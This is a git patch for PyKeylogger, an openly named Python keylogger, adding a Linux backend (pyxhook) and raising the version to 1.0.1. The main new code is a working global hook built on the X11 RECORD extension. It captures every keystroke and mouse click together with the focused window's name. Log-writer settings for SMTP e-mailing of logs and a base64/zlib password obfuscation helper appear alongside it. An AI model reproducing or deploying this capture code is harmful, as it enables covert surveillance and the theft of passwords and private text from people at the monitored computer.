options.flushKey = 'F11' - lw.WriteToLogFile(event, options) + #this testing code is incomplete (no events) + + class CmdOptions: + def __init__(self, debug): + self.debug = debug + + settings={} + settings['E-mail'] = {'SMTP Send Email':False} + settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False} + settings['Zip'] = {'Zip Enable':False} + settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True} + + print settings['General'] + print settings['General']['Log Directory'] + q = Queue.Queue() + + cmdoptions = CmdOptions(True) + + lw = LogWriter(settings, cmdoptions, q) + lw.start() + time.sleep(5) + lw.cancel() + #~ class Blank: + #~ pass + #~ event = Blank() + #~ event.Window = 264854 + #~ event.WindowName = "Untitled - Notepad" + #~ event.Ascii = 65 + #~ event.Key = 'A' + #~ options = Blank() + #~ options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False + #~ options.flushKey = 'F11' + #~ lw.WriteToLogFile(event, options) diff --git a/make_all_dist.py b/make_all_dist.py index afe82fd..07e7abb 100644 --- a/make_all_dist.py +++ b/make_all_dist.py @@ -85,6 +85,8 @@ if __name__ == '__main__': print r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"' os.system(r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + fname_addendum + '_src.zip"') + print r'del .\MANIFEST' + os.system(r'del .\MANIFEST') print r'rd /S /Q dist' os.system(r'rd /S /Q dist') diff --git a/myutils.py b/myutils.py index 183dd2c..fba6177 100644 --- a/myutils.py +++ b/myutils.py @@ -1,6 +1,7 @@ import zlib import base64 import sys +import os.path import imp def password_obfuscate(password): @@ -8,23 +9,15 @@ def password_obfuscate(password): def password_recover(password): return zlib.decompress(base64.b64decode(password)) +# the following two functions are from the py2exe wiki: +# http://www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe def main_is_frozen(): return (hasattr(sys, "frozen") or # new py2exe hasattr(sys, "importers") or # old py2exe imp.is_frozen("__main__")) # tools/freeze - -#~ if __name__ == '__main__': - #some test code here. - #~ def hello(name="bla"): - #~ print "hello, ", name - - #~ myt = MyTimer(1.0, 5, hello, ["bob"]) - #~ myt.start() - #~ time.sleep(4) - #~ myt.cancel() - #~ print "next timer" - #~ myt = MyTimer(1.0, 0, hello, ["bob"]) - #~ myt.start() - #~ time.sleep(6) - #~ myt.cancel() +def get_main_dir(): + if main_is_frozen(): + return os.path.dirname(sys.executable) + #return os.path.dirname(sys.argv[0]) + return sys.path[0] diff --git a/pykeylogger.ini b/pykeylogger.ini index 15002558d887d759127c5c88e313aba6cfa76c6c..7e6345d6c65dae7d95488798a1453ded37d8ca63 100644 GIT binary patch delta 484 zcma)1Jxc>Y5G9{Qun@Jg8DgUlBf&1B7!?~2g+vG#f}D4AcZ-|dV?T^nr4u`g`vHQT zq!Ch!Kf%_2U?~Xp?ztv~l`zY^oqhA(+lQUc-6tnsq&$@AS-wAl76_!SB3B4L5$Gu{ z67XCGE|nZE5M+!V2?+XiIE{z|Q?m`lVHlx6NVo>qbfFm|EQC0@#Kf3{C?F7gP_H;V zgoByEHe?AZmC0LvK39d+W3Ir{LLgH#0jcAd3xzz*;oxT_D{zKEnmBL}8kvW=!5jhsxc3Dp)==T5a|LEDH^3>3J`2SLI}fq4h>3Att{`FRyLOazl3d`>Nz)ZjP$6$cU-5A<{*2xCk<0@*V +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# Thanks to Alex Badea for writing the Record +# demo for the xlib libraries. It helped me immensely working with these +# in this library. +# +# Thanks to the python-xlib team. This wouldn't have been possible without +# your code. +# +# This requires: +# at least python-xlib 1.4 +# xwindows must have the "record" extension present, and active. +# +# This file has now been somewhat extensively modified by +# Daniel Folkinshteyn +# So if there are any bugs, they are probably my fault. :) + +import sys +import os +import re +import time +import threading +import Image + +from Xlib import X, XK, display, error +from Xlib.ext import record +from Xlib.protocol import rq + +####################################################################### +########################START CLASS DEF################################ +####################################################################### + +class HookManager(threading.Thread): + """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned. + + This simply takes these two values for now: + KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + """ + + def __init__(self): + threading.Thread.__init__(self) + self.finished = threading.Event() + + # Give these some initial values + self.mouse_position_x = 0 + self.mouse_position_y = 0 + self.ison = {"shift":False, "caps":False} + + # Compile our regex statements. + self.isshift = re.compile('^Shift') + self.iscaps = re.compile('^Caps_Lock') + self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$') + self.logrelease = re.compile('.*') + self.isspace = re.compile('^space$') + + # Assign default function actions (do nothing). + self.KeyDown = lambda x: True + self.KeyUp = lambda x: True + self.MouseAllButtonsDown = lambda x: True + self.MouseAllButtonsUp = lambda x: True + + self.contextEventMask = [0,2] + + # Hook to our display. + self.local_dpy = display.Display() + self.record_dpy = display.Display() + + def run(self): + # Check if the extension is present + if not self.record_dpy.has_extension("RECORD"): + print "RECORD extension not found" + sys.exit(1) + r = self.record_dpy.record_get_version(0, 0) + print "RECORD extension version %d.%d" % (r.major_version, r.minor_version) + + # Create a recording context; we only want key and mouse events + self.ctx = self.record_dpy.record_create_context( + 0, + [record.AllClients], + [{ + 'core_requests': (0, 0), + 'core_replies': (0, 0), + 'ext_requests': (0, 0, 0, 0), + 'ext_replies': (0, 0, 0, 0), + 'delivered_events': (0, 0), + 'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress), + 'errors': (0, 0), + 'client_started': False, + 'client_died': False, + }]) + + # Enable the context; this only returns after a call to record_disable_context, + # while calling the callback function in the meantime + self.record_dpy.record_enable_context(self.ctx, self.processevents) + # Finally free the context + self.record_dpy.record_free_context(self.ctx) + + def cancel(self): + self.finished.set() + self.local_dpy.record_disable_context(self.ctx) + self.local_dpy.flush() + + def printevent(self, event): + print event + + def HookKeyboard(self): + self.contextEventMask[0] = X.KeyPress + + def HookMouse(self): + # need mouse motion to track pointer position, since ButtonPress events + # don't carry that info. + self.contextEventMask[1] = X.MotionNotify + + def processevents(self, reply): + if reply.category != record.FromServer: + return + if reply.client_swapped: + print "* received swapped protocol data, cowardly ignored" + return + if not len(reply.data) or ord(reply.data[0]) < 2: + # not an event + return + data = reply.data + while len(data): + event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None) + if event.type == X.KeyPress: + hookevent = self.keypressevent(event) + self.KeyDown(hookevent) + elif event.type == X.KeyRelease: + hookevent = self.keyreleaseevent(event) + self.KeyUp(hookevent) + elif event.type == X.ButtonPress: + hookevent = self.buttonpressevent(event) + self.MouseAllButtonsDown(hookevent) + elif event.type == X.ButtonRelease: + hookevent = self.buttonreleaseevent(event) + self.MouseAllButtonsUp(hookevent) + elif event.type == X.MotionNotify: + # use mouse moves to record mouse position, since press and release events + # do not give mouse position info (event.root_x and event.root_y have + # bogus info). + self.mousemoveevent(event) + + #print "processing events...", event.type + + def keypressevent(self, event): + matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0)) + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed. + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + return self.makekeyhookevent(keysym, event) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + return self.makekeyhookevent(keysym, event) + else: ## Not a typable character. + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] + 1 + elif self.iscaps.match(matchto): + if self.ison["caps"] == False: + self.ison["shift"] = self.ison["shift"] + 1 + self.ison["caps"] = True + if self.ison["caps"] == True: + self.ison["shift"] = self.ison["shift"] - 1 + self.ison["caps"] = False + return self.makekeyhookevent(keysym, event) + + def keyreleaseevent(self, event): + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + matchto = self.lookup_keysym(keysym) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] - 1 + return self.makekeyhookevent(keysym, event) + + def buttonpressevent(self, event): + #self.clickx = self.rootx + #self.clicky = self.rooty + return self.makemousehookevent(event) + + def buttonreleaseevent(self, event): + #if (self.clickx == self.rootx) and (self.clicky == self.rooty): + ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3): + #self.captureclick() + #else: + #pass + + return self.makemousehookevent(event) + + # sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n") + # sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n") + #sys.stdout.flush() + + def mousemoveevent(self, event): + self.mouse_position_x = event.root_x + self.mouse_position_y = event.root_y + + # need the following because XK.keysym_to_string() only does printable chars + # rather than being the correct inverse of XK.string_to_keysym() + def lookup_keysym(self, keysym): + for name in dir(XK): + if name.startswith("XK_") and getattr(XK, name) == keysym: + return name.lstrip("XK_") + return "[%d]" % keysym + + def asciivalue(self, keysym): + asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) + if asciinum < 256: + return asciinum + else: + return 0 + + def makekeyhookevent(self, keysym, event): + storewm = self.xwindowinfo() + if event.type == X.KeyPress: + MessageName = "key down" + elif event.type == X.KeyRelease: + MessageName = "key up" + return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName) + + def makemousehookevent(self, event): + storewm = self.xwindowinfo() + if event.detail == 1: + MessageName = "mouse left " + elif event.detail == 3: + MessageName = "mouse right " + elif event.detail == 2: + MessageName = "mouse middle " + elif event.detail == 5: + MessageName = "mouse wheel down " + elif event.detail == 4: + MessageName = "mouse wheel up " + else: + MessageName = "mouse " + str(event.detail) + " " + + if event.type == X.ButtonPress: + MessageName = MessageName + "down" + elif event.type == X.ButtonRelease: + MessageName = MessageName + "up" + return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName) + + def xwindowinfo(self): + try: + windowvar = self.local_dpy.get_input_focus().focus + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if (wmname == None) and (wmclass == None): + try: + windowvar = windowvar.query_tree().parent + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if wmclass == None: + return {"name":wmname, "class":wmclass, "handle":wmhandle} + else: + return {"name":wmname, "class":wmclass[0], "handle":wmhandle} + +class pyxhookkeyevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Key = The key pressed, shifted to the correct caps value. + Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256. + KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing. + ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway. + MessageName = "key down", "key up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Key = Key + self.Ascii = Ascii + self.KeyID = KeyID + self.ScanCode = ScanCode + self.MessageName = MessageName + + def __str__(self): + return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n" + +class pyxhookmouseevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Position = 2-tuple (x,y) coordinates of the mouse click + MessageName = "mouse left|right|middle down", "mouse left|right|middle up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Position, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Position = Position + self.MessageName = MessageName + + def __str__(self): + return "Window: " + str(self.Window) + "\nWindow Handle: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n" + +####################################################################### +#########################END CLASS DEF################################# +####################################################################### + +if __name__ == '__main__': + hm = HookManager() + hm.HookKeyboard() + hm.HookMouse() + hm.KeyDown = hm.printevent + hm.KeyUp = hm.printevent + hm.MouseAllButtonsDown = hm.printevent + hm.MouseAllButtonsUp = hm.printevent + hm.start() + time.sleep(10) + hm.cancel() diff --git a/setup.py b/setup.py index c1ff535..42ea444 100644 --- a/setup.py +++ b/setup.py @@ -23,7 +23,12 @@ setup( author = version.author, author_email = version.author_email, platforms = [version.platform], - + + # the following doesn't work - for some reason bundling everything into one exe + # causes the program to crash out on start. + #~ options = {'py2exe': {'bundle_files': 1}}, + #~ zipfile = None, + data_files = [("",["pykeylogger.ini", "pykeylogger.val", "CHANGELOG.TXT", @@ -45,4 +50,3 @@ setup( } ], ) - diff --git a/supportscreen.py b/supportscreen.py index d943264..64b0153 100644 --- a/supportscreen.py +++ b/supportscreen.py @@ -2,6 +2,7 @@ from Tkinter import * import webbrowser import mytkSimpleDialog import ScrolledText +import version class SupportScreen(mytkSimpleDialog.Dialog): def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50): @@ -9,6 +10,7 @@ class SupportScreen(mytkSimpleDialog.Dialog): def body(self, master): self.t = ScrolledText.ScrolledText(master) + self.t['font'] = 'arial 10' self.t.pack() self.t.tag_configure("href", foreground='blue', underline=1) self.t.tag_bind("href", "", self.openHREF) @@ -32,8 +34,8 @@ link very informative: ") self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href") self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagging, \ by E-mail, HTTP, or FTP.") - self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \ -PyKeylogger from source, or even build your own executable, by following the instructions at ") + self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \ +PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ") self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href") self.t.insert(END, "\n\nFinally, I encourage you to use this software responsibly, keeping to the law and your own moral code.") self.t.config(state=DISABLED) @@ -72,6 +74,7 @@ class ExpirationScreen(mytkSimpleDialog.Dialog): def body(self, master): self.t = ScrolledText.ScrolledText(master) + self.t['font'] = 'arial 10' self.t.pack() self.t.tag_configure("href", foreground='blue', underline=1) self.t.tag_bind("href", "", self.openHREF) @@ -86,8 +89,8 @@ to restore PyKeylogger's functionality: \n\n 1. Donate to PyKeylogger by followi self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Download_Instructions", "href") self.t.insert(END, " and you will get a binary build of PyKeylogger without any nagscreens or expiration, \ by E-mail, HTTP, or FTP.") - self.t.insert(END, "\n\n 2. Get the source code, then find and toggle the nag control. You can then run \ -PyKeylogger from source, or even build your own executable, by following the instructions at ") + self.t.insert(END, "\n\n 2. Get the project source code, the supporting libraries, then find and toggle the nag control. You can then run \ +PyKeylogger from source, or even build your own executable. Detailed instructions for this approach are available at ") self.t.insert(END, "http://pykeylogger.wiki.sourceforge.net/Installation_Instructions", "href") self.t.insert(END, "\n\nIf you run into any trouble, feel free to ask for help on the PyKeylogger forums: ") self.t.insert(END, "http://sourceforge.net/forum/?group_id=147501", "href") @@ -120,14 +123,95 @@ PyKeylogger from source, or even build your own executable, by following the ins #print "Going to %s..." % t.get(start, end) webbrowser.open(self.t.get(start, end)) +class AboutDialog(mytkSimpleDialog.Dialog): + def __init__(self, parent, title = None, rootx_offset=50, rooty_offset=50): + mytkSimpleDialog.Dialog.__init__(self, parent, title, rootx_offset, rooty_offset) + + def body(self, master): + self.t = ScrolledText.ScrolledText(master) + self.t['font'] = 'arial 10' + self.t.pack() + self.t.tag_configure("href", foreground='blue', underline=1) + self.t.tag_configure("h1", foreground='black', underline=1, font=('Arial', 16, 'bold')) + self.t.tag_configure("h2", foreground='black', underline=0, font=('Arial', 14, 'bold')) + self.t.tag_configure("h3", foreground='#33CCCC', underline=0, font=('Arial', 10, 'bold')) + self.t.tag_configure("emph", foreground='black', underline=0, font=('Arial', 10, 'italic')) + self.t.tag_bind("href", "", self.openHREF) + self.t.tag_bind("href", "", self.show_hand_cursor) + self.t.tag_bind("href", "", self.show_arrow_cursor) + self.t.config(cursor="arrow", bg="white", wrap=WORD) + self.t.insert(END, "PyKeylogger - Simple Python Keylogger", "h1") + self.t.insert(END, "\nVersion " + version.version + "\n") + self.t.insert(END," by " + version.author + " <" + version.author_email + ">", "emph") + self.t.insert(END, "\n\nLicense: " + version.license + ", ") + self.t.insert(END, "http://www.gnu.org/copyleft/gpl.html", "href") + self.t.insert(END, "\n\nProject site: ") + self.t.insert(END, version.url, "href") + self.t.insert(END, "\n\nContributors", "h2") + self.t.insert(END, "\n\nTim Alexander ", "h3") + self.t.insert(END, "\nThe initial implementation of event hooking and image capture on click under GNU/Linux, using the python-xlib library.") + self.t.insert(END, "\n\nSupporting Libraries:", "h2") + self.t.insert(END, "\n\nPython, ") + self.t.insert(END, "http://www.python.org", "href") + self.t.insert(END, "\nPython Imaging Library (PIL), ") + self.t.insert(END, "http://www.pythonware.com/products/pil/", "href") + self.t.insert(END, "\npy2exe, ") + self.t.insert(END, "http://www.py2exe.org/", "href") + self.t.insert(END, "\nConfigObj, ") + self.t.insert(END, "http://www.voidspace.org.uk/python/configobj.html", "href") + self.t.insert(END, "\nPyHook, ") + self.t.insert(END, "http://sourceforge.net/projects/uncassist", "href") + self.t.insert(END, "\nPython for Windows Extensions (PyWin32), ") + self.t.insert(END, "http://sourceforge.net/projects/pywin32/", "href") + self.t.insert(END, "\npython-xlib, ") + self.t.insert(END, "http://python-xlib.sourceforge.net/", "href") + self.t.insert(END, "\n\nA big thank you goes out to all of the people behind these numerous software packages that make PyKeylogger possible!") + + self.t.config(state=DISABLED) + + def show_hand_cursor(self, event): + self.t.config(cursor="hand2") + + def show_arrow_cursor(self, event): + self.t.config(cursor="arrow") + + def buttonbox(self): + # add standard button box. override if you don't want the + # standard buttons + + box = Frame(self) + + #w = Button(box, text="OK", width=10, command=self.ok, default=ACTIVE) + #w.pack(side=LEFT, padx=5, pady=5) + w = Button(box, text="Continue", width=10, command=self.cancel, default=ACTIVE) + w.pack(side=LEFT, padx=5, pady=5) + + self.bind("", self.cancel) + self.bind("", self.cancel) + + box.pack() + + def openHREF(self, event): + start, end = self.t.tag_prevrange("href", self.t.index("@%s,%s" % (event.x, event.y))) + #print "Going to %s..." % t.get(start, end) + webbrowser.open(self.t.get(start, end)) + + if __name__ == '__main__': # test code root=Tk() root.geometry("100x100+200+200") warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35) root.quit() + root.destroy() root=Tk() root.geometry("100x100+200+200") warn=ExpirationScreen(root, title="PyKeylogger Has Expired", rootx_offset=-20, rooty_offset=-35) - root.quit() \ No newline at end of file + root.quit() + root.destroy() + + root=Tk() + root.geometry("100x100+200+200") + warn=AboutDialog(root, title="About PyKeylogger", rootx_offset=-20, rooty_offset=-35) + root.quit() diff --git a/tooltip.py b/tooltip.py index 8030fcf..f6ddbbe 100644 --- a/tooltip.py +++ b/tooltip.py @@ -45,7 +45,7 @@ class ToolTip: self._opts = {'anchor':'center', 'bd':1, 'bg':'lightyellow', 'delay':delay, 'fg':'black',\ 'follow_mouse':0, 'font':None, 'justify':'left', 'padx':4, 'pady':2,\ 'relief':'solid', 'state':'normal', 'text':text, 'textvariable':None,\ - 'width':0, 'wraplength':300} + 'width':0, 'wraplength':400} self.configure(**opts) self._tipwindow = None self._id = None @@ -165,4 +165,4 @@ def demo(): root.mainloop() if __name__ == '__main__': - demo() \ No newline at end of file + demo() diff --git a/version.py b/version.py index 9c221ce..591eb5c 100644 --- a/version.py +++ b/version.py @@ -1,9 +1,9 @@ name = "pykeylogger" -version = "0.9.5" -description = "Simple Python Keylogger for Windows" +version = "1.0.1" +description = "Simple Python Keylogger" url = "http://pykeylogger.sourceforge.net" license = "GPL" -author = "Nanotube" +author = "Daniel Folkinshteyn" author_email = "nanotube@users.sf.net" -platform = "Windows NT/2000/XP" \ No newline at end of file +platform = "Windows NT/2000/XP/Vista, Linux" \ No newline at end of file -- 2.45.1